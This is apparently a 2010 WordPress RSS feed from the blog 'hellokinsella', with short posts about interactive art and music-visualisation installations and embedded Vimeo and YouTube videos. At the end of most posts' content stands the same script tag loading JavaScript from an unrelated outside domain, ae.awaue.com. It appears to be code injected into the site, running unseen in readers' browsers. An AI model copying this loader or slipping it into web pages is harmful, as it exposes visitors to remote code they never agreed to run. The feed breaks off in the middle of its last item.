<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hellokinsella &#187; installation</title>
	<atom:link href="http://www.andykinsella.com/tag/installation/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.andykinsella.com</link>
	<description>digital creative goodness from andy kinsella</description>
	<lastBuildDate>Sat, 31 Jul 2010 15:10:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>An installation where viewers become performers. Night Lights installation by YesYesNo</title>
		<link>http://www.andykinsella.com/2010/05/night-lights-installation-by-yesyesno/</link>
		<comments>http://www.andykinsella.com/2010/05/night-lights-installation-by-yesyesno/#comments</comments>
		<pubDate>Mon, 10 May 2010 12:52:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[projection]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/05/10/night-lights-installation-by-yesyesno/</guid>
		<description><![CDATA[night lights from thesystemis on Vimeo. YesYesNo have made an installation that does a bit more than just projecting on buildings. They let viewers become performers, by taking their body movements and amplifying them. There&#8217;s 3 interaction types &#8211; body interaction on the two stages, hand interaction above a light table, and phone interaction with [...]]]></description>
			<content:encoded><![CDATA[<p><object width="600" height="338"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8525186&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00adef&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8525186&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00adef&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="600" height="338" /><br />
</object></p>
<p><a href="http://vimeo.com/8525186">night lights</a> from <a href="http://vimeo.com/thesystemis">thesystemis</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>YesYesNo have made an installation that does a bit more than just projecting on buildings. They let viewers become performers, by taking their body movements and amplifying them.</p>
<p>There&#8217;s 3 interaction types &#8211; body interaction on the two stages, hand interaction above a light table, and phone interaction with the tracking of waving phones.</p>
<p>Looks like a lot of fun.</p>
<p>Full credits here &#8211; <a href="http://yesyesno.com/night-lights">http://yesyesno.com/night-lights</a></p>
<p style="font-size: 10px;"><a href="http://posterous.com">Posted via web</a> from <a href="http://hellokinsella.posterous.com/night-lights-installation-by-yesyesno">hellokinsella&#8217;s posterous</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/05/night-lights-installation-by-yesyesno/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LastHistory &#8211; interactive visualization your Last.fm history, obviously</title>
		<link>http://www.andykinsella.com/2010/03/lasthistory-interactive-visualization-your-last-fm-history-obviously/</link>
		<comments>http://www.andykinsella.com/2010/03/lasthistory-interactive-visualization-your-last-fm-history-obviously/#comments</comments>
		<pubDate>Mon, 29 Mar 2010 15:27:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[visualisation]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/03/29/lasthistory-interactive-visualization-your-last-fm-history-obviously/</guid>
		<description><![CDATA[Takes a while to initalise the first time, but once the data is in there it&#8217;s loads of fun to play with. It&#8217;s also got a really nice &#8216;personal mode&#8217; that hooks up to iPhoto to display pics taken at the time you listened to the music. LastHistory &#8211; Interactive Visualization of Last.fm Listening Histories [...]]]></description>
			<content:encoded><![CDATA[<p>Takes a while to initalise the first time, but once the data is in there it&#8217;s loads of fun to play with. It&#8217;s also got a really nice &#8216;personal mode&#8217; that hooks up to iPhoto to display pics taken at the time you listened to the music.</p>
<p><object width="600" height="375"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=9495577&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=9495577&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="600" height="375" /><br />
</object></p>
<p><a href="http://vimeo.com/9495577">LastHistory &#8211; Interactive Visualization of Last.fm Listening Histories and Personal Streams</a> from <a href="http://vimeo.com/user3186719">Frederik Seiffert</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p><img src="http://www.andykinsella.com/wp-content/uploads/2010/03/lasthistory01.png" width="600" height="463" alt="lasthistory01.png" /></p>
<p><img src="http://www.andykinsella.com/wp-content/uploads/2010/03/lasthistory02.png" width="600" height="463" alt="lasthistory02.png" /></p>
<p>It&#8217;s free to download and try for yourself: <a href="http://www.frederikseiffert.de/lasthistory/">http://www.frederikseiffert.de/lasthistory/</a></p>
<p><a href="http://www.creativeapplications.net/mac/lasthistory-mac/">via</a></p>
<p style="font-size: 10px;"><a href="http://posterous.com">Posted via email</a> from <a href="http://hellokinsella.posterous.com/lasthistory-interactive-visualization-your-la">hellokinsella&#8217;s posterous</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/03/lasthistory-interactive-visualization-your-last-fm-history-obviously/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Digging in the Crates</title>
		<link>http://www.andykinsella.com/2010/03/digging-in-the-crates/</link>
		<comments>http://www.andykinsella.com/2010/03/digging-in-the-crates/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 12:39:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[vinyl]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/03/23/digging-in-the-crates/</guid>
		<description><![CDATA[Digging in the Crates from WE AIN&#8217;T PLASTIC on Vimeo. Digging in the Crates is an interactive installation by designer / developer Roland Loesslein which attempts to explore Sampling as a production technology of modern music using modified turntables and information graphics to understand the relationships between the sample and composition. Created using Flash Actionscript3/Adobe [...]]]></description>
			<content:encoded><![CDATA[<p><object width="600" height="338"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=10156408&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=10156408&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="600" height="338" /><br />
</object></p>
<p><a href="http://vimeo.com/10156408">Digging in the Crates</a> from <a href="http://vimeo.com/user940663">WE AIN&#8217;T PLASTIC</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p><img src="http://www.andykinsella.com/wp-content/uploads/2010/03/ditc_10.jpg" width="600" height="318" alt="ditc_10.jpeg" /></p>
<p>Digging in the Crates is an interactive installation by designer / developer Roland Loesslein which attempts to explore Sampling as a production technology of modern music using modified turntables and information graphics to understand the relationships between the sample and composition.</p>
<p><img src="http://www.andykinsella.com/wp-content/uploads/2010/03/ditc_04.jpg" width="600" height="318" alt="ditc_04.jpeg" /></p>
<p><img src="http://www.andykinsella.com/wp-content/uploads/2010/03/ditc_03.jpg" width="600" height="318" alt="ditc_03.jpeg" /></p>
<p>Created using Flash Actionscript3/Adobe Air as part of his diploma thesis in the Department of Design at the University of Applied Sciences in Augsburg.</p>
<p>Really nice work. And I get to post photos of 1210&#8242;s. Double Win.</p>
<p>More here: <a href="http://www.weaintplastic.com/">http://www.weaintplastic.com/</a></p>
<div class="posterous_autopost">
<p><a href="http://www.creativeapplications.net/flash/digging-in-the-crates-flash-sound">via</a></p>
<p style="font-size: 10px;"><a href="http://posterous.com">Posted via email</a> from <a href="http://hellokinsella.posterous.com/digging-in-the-crates-4">hellokinsella&#8217;s posterous</a></p>
</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/03/digging-in-the-crates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Generative Music Visualization</title>
		<link>http://www.andykinsella.com/2010/02/generative-music-visualization-sounds-impressive-eh/</link>
		<comments>http://www.andykinsella.com/2010/02/generative-music-visualization-sounds-impressive-eh/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 16:20:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Funny]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/02/17/generative-music-visualization-sounds-impressive-eh/</guid>
		<description><![CDATA[Clavilux 2000 &#8211; Interactive instrument for generative music visualization from Jonas Heuer on Vimeo. The Clavilux 2000 is an interactive instrument for generative music visualization. The setting of the installation consists of three parts: - a digital piano with 88 keys and midi output - a computer running a vvvv patch - a vertical projection [...]]]></description>
			<content:encoded><![CDATA[<p><object width="600" height="450"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8012159&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8012159&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="600" height="450" /><br />
</object></p>
<p><a href="http://vimeo.com/8012159">Clavilux 2000 &#8211; Interactive instrument for generative music visualization</a> from <a href="http://vimeo.com/jonasheuer">Jonas Heuer</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>The Clavilux 2000 is an interactive instrument for generative music visualization.</p>
<p>The setting of the installation consists of three parts:<br />
- a digital piano with 88 keys and midi output<br />
- a computer running a vvvv patch<br />
- a vertical projection above the keyboard.</p>
<p>For every note played on the keyboard a new visual element appears in form of a stripe, which follows in its dimensions, position and speed the way the particular key was stroke.</p>
<p>Colours give the viewer and listener an impression of the harmonic relations &#8211; and each key has it&#8217;s own color scheme and &#8220;wrong&#8221; notes stand out in contrasting colors.</p>
<p>Would love to see Les Dawson do his piano &#8216;routine&#8217; on it.</p>
<p><b>EDIT</b></p>
<p>For people who have no idea who I&#8217;m talking about &#8211; here&#8217;s the man himself.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/9nNGlaiVypU&amp;hl=en_US&amp;fs=1&amp;rel=0" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/9nNGlaiVypU&amp;hl=en_US&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385" /><br />
</object></p>
<p style="font-size: 10px;"><a href="http://posterous.com">Posted via web</a> from <a href="http://hellokinsella.posterous.com/generative-music-visualization-sounds-impress">hellokinsella&#8217;s posterous</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/02/generative-music-visualization-sounds-impressive-eh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More awesomeness!! Google Liquid Galaxy demo</title>
		<link>http://www.andykinsella.com/2010/02/more-awesomeness-google-liquid-galaxy-demo/</link>
		<comments>http://www.andykinsella.com/2010/02/more-awesomeness-google-liquid-galaxy-demo/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 12:48:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[touchscreen]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/02/12/more-awesomeness-google-liquid-galaxy-demo/</guid>
		<description><![CDATA[via youtube.com Google&#8217;s Liquid Galaxy is engineer Jason Holt&#8217;s 20% time project. It uses a wraparound view of 8 LCD screens to provide a truly immersive experience of Google Earth and Street View. This is a live demo from TED. Very cool! Posted via web from hellokinsella&#8217;s posterous]]></description>
			<content:encoded><![CDATA[<p><object type="application/futuresplash" height="417" width="500"><param name="movie" value="http://www.youtube.com/v/atV2foTBbyE&amp;hl=en&amp;fs=1" /><param name="wmode" value="window" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/atV2foTBbyE&amp;hl=en&amp;fs=1" wmode="window" type="application/futuresplash" height="417" width="500" /><br />
</object></p>
<div class="posterous_quote_citation">
  via <a href="http://www.youtube.com/watch?v=atV2foTBbyE&amp;feature=player_embedded">youtube.com</a>
</div>
<p>Google&#8217;s Liquid Galaxy is engineer Jason Holt&#8217;s 20% time project.</p>
<p>It uses a wraparound view of 8 LCD screens to provide a truly immersive experience of Google Earth and Street View.</p>
<p>This is a live demo from TED.</p>
<p>Very cool!</p>
<p style="font-size: 10px;"><a href="http://posterous.com">Posted via web</a> from <a href="http://hellokinsella.posterous.com/more-awesomeness-google-liquid-galaxy-demo">hellokinsella&#8217;s posterous</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/02/more-awesomeness-google-liquid-galaxy-demo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This is awesome!! Musical Tesla Coils</title>
		<link>http://www.andykinsella.com/2010/02/this-is-awesome-musical-tesla-coils/</link>
		<comments>http://www.andykinsella.com/2010/02/this-is-awesome-musical-tesla-coils/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 12:00:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[electricity]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[installation]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/02/11/this-is-awesome-musical-tesla-coils/</guid>
		<description><![CDATA[via youtube.com Steve Ward&#8217;s and Jeff Larson&#8217;s amazing twin musical Tesla Coils (Zeusaphones) play: Intro, 2001 A Space Odyssey, Ghostbusters, Mega Man. Ghostbusters wins it for me!! Shot using a Canon PowerShot SD 850 IS. Posted via web from hellokinsella&#8217;s posterous]]></description>
			<content:encoded><![CDATA[<p><object height="417" width="500" type="application/futuresplash"><param name="movie" value="http://www.youtube.com/v/LVDmjnCQ1g4&amp;hl=en&amp;fs=1" /><param name="wmode" value="window" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed allowfullscreen="true" type="application/futuresplash" src="http://www.youtube.com/v/LVDmjnCQ1g4&amp;hl=en&amp;fs=1" allowscriptaccess="always" height="417" wmode="window" width="500" /><br />
</object></p>
<div class="posterous_quote_citation">
  via <a href="http://www.youtube.com/watch?v=LVDmjnCQ1g4&amp;feature=related">youtube.com</a>
</div>
<p>Steve Ward&#8217;s and Jeff Larson&#8217;s amazing twin musical Tesla Coils (Zeusaphones) play: Intro, 2001 A Space Odyssey, Ghostbusters, Mega Man.</p>
<p>Ghostbusters wins it for me!!</p>
<p>Shot using a Canon PowerShot SD 850 IS.</p>
<p style="font-size: 10px;"><a href="http://posterous.com">Posted via web</a> from <a href="http://hellokinsella.posterous.com/this-is-awesome-musical-tesla-coils">hellokinsella&#8217;s posterous</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/02/this-is-awesome-musical-tesla-coils/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sync/Lost. A multi-user journey through electronic music</title>
		<link>http://www.andykinsella.com/2010/02/synclost-a-multi-user-journey-through-electronic-music/</link>
		<comments>http://www.andykinsella.com/2010/02/synclost-a-multi-user-journey-through-electronic-music/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 00:03:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[history]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[touchscreen]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/02/09/synclost-a-multi-user-journey-through-electronic-music/</guid>
		<description><![CDATA[Cooooool. Sync/Lost from 3bits on Vimeo. SyncLost is a multi-user installation for immersion in the history of electronic music. Oh yes. The project was created by 3bits, a creative studio from Brazil using Processing. More info: 3bits.net/synclost/ via]]></description>
			<content:encoded><![CDATA[<p>Cooooool.</p>
<p><object width="600" height="338"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8978428&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8978428&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="600" height="338" /><br />
</object></p>
<p><a href="http://vimeo.com/8978428">Sync/Lost</a> from <a href="http://vimeo.com/lab3bits">3bits</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>SyncLost is a multi-user installation for immersion in the history of electronic music. Oh yes.</p>
<p>The project was created by 3bits, a creative studio from Brazil using Processing.</p>
<p>More info: <a href="http://www.3bits.net/synclost/" target="_blank">3bits.net/synclost/</a></p>
<p><a href="http://www.contagiousmagazine.com/2010/02/3_bits.php" target="_blank">via</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/02/synclost-a-multi-user-journey-through-electronic-music/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Harmonic Center of the Universe</title>
		<link>http://www.andykinsella.com/2010/02/the-harmonic-center-of-the-universe/</link>
		<comments>http://www.andykinsella.com/2010/02/the-harmonic-center-of-the-universe/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 12:24:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/02/03/the-harmonic-center-of-the-universe/</guid>
		<description><![CDATA[The Harmonic Center of the Universe from Jesse Stiles on Vimeo. Mmmmm.. lovely. A Sonified Light Emitting Sculpture with Endless Iterations. By Chris Harvey, Olivia Robinson, &#38; Jesse Stiles Posted via web from hellokinsella&#8217;s posterous]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="600" height="338" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=8709711&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="600" height="338" src="http://vimeo.com/moogaloop.swf?clip_id=8709711&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=00adef&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vimeo.com/8709711">The Harmonic Center of the Universe</a> from <a href="http://vimeo.com/jts3k">Jesse Stiles</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>Mmmmm.. lovely.</p>
<p>A Sonified Light Emitting Sculpture with Endless Iterations.</p>
<p>By Chris Harvey, Olivia Robinson, &amp; Jesse Stiles</p>
<p style="font-size: 10px;"><a href="http://posterous.com">Posted via web</a> from <a href="http://hellokinsella.posterous.com/the-harmonic-center-of-the-universe">hellokinsella&#8217;s posterous</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/02/the-harmonic-center-of-the-universe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TypeStar &#8211; a lyric visualiser by Scott Garner</title>
		<link>http://www.andykinsella.com/2010/01/typestar-a-lyric-visualiser-by-scott-garner/</link>
		<comments>http://www.andykinsella.com/2010/01/typestar-a-lyric-visualiser-by-scott-garner/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 00:07:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[animation]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[illustration]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[processing]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2010/01/06/typestar-a-lyric-visualiser-by-scott-garner/</guid>
		<description><![CDATA[TypeStar from Scott Garner on Vimeo. Currently the sketch can be controlled via keyboard and mouse along with rough support for SMS control on laptops, iPhone control via OSCemote and oscP5, joystick control via proCONTROLL and midi controller support via proMIDI. It&#8217;s available as Mac, Windows and Linux download. via]]></description>
			<content:encoded><![CDATA[<p><object width="600" height="338"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=7881543&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=ffffff&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=7881543&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=ffffff&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="600" height="338" /><br />
</object></p>
<p><a href="http://vimeo.com/7881543">TypeStar</a> from <a href="http://vimeo.com/scottgarner">Scott Garner</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>Currently the sketch can be controlled via keyboard and mouse along with rough support for SMS control on laptops, iPhone control via OSCemote and oscP5, joystick control via proCONTROLL and midi controller support via proMIDI.</p>
<p>It&#8217;s available as Mac, Windows and Linux <a href="http://scott.j38.net/interactive/typestar/" target="_blank">download</a>.</p>
<p><a href="http://www.creativeapplications.net/processing/typestar-processing-sound/" target="_blank">via</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andykinsella.com/2010/01/typestar-a-lyric-visualiser-by-scott-garner/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Particle Responsive Kinetic Sculpture v1.0 (aka Rave Machine)</title>
		<link>http://www.andykinsella.com/2009/12/the-particle-responsive-kinetic-sculpture-v1-0-aka-rave-machine/</link>
		<comments>http://www.andykinsella.com/2009/12/the-particle-responsive-kinetic-sculpture-v1-0-aka-rave-machine/#comments</comments>
		<pubDate>Thu, 10 Dec 2009 01:07:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[Digital]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Visual]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[colour]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[led]]></category>
		<category><![CDATA[sensor]]></category>
		<category><![CDATA[sound]]></category>

		<guid isPermaLink="false">http://www.andykinsella.com/2009/12/10/the-particle-responsive-kinetic-sculpture-v1-0-aka-rave-machine/</guid>
		<description><![CDATA[The Particle v1.0 from Alex Posada on Vimeo. &#8220;The Particle&#8221; is a kinetic sculpture that experiments with color, sound and movement. A sensor monitoring system analyzes the users movements in the exhibition space. Around the space occupied by the sculpture defines a surround sound system that reacts and becomes one with the movement and light. [...]]]></description>
			<content:encoded><![CDATA[<p><object width="600" height="450"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=7907358&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=ff0179&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=7907358&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=ff0179&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="600" height="450" /><br />
</object></p>
<p><a href="http://vimeo.com/7907358">The Particle v1.0</a> from <a href="http://vimeo.com/alexposada">Alex Posada</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>&#8220;The Particle&#8221; is a kinetic sculpture that experiments with color, sound and movement.</p>
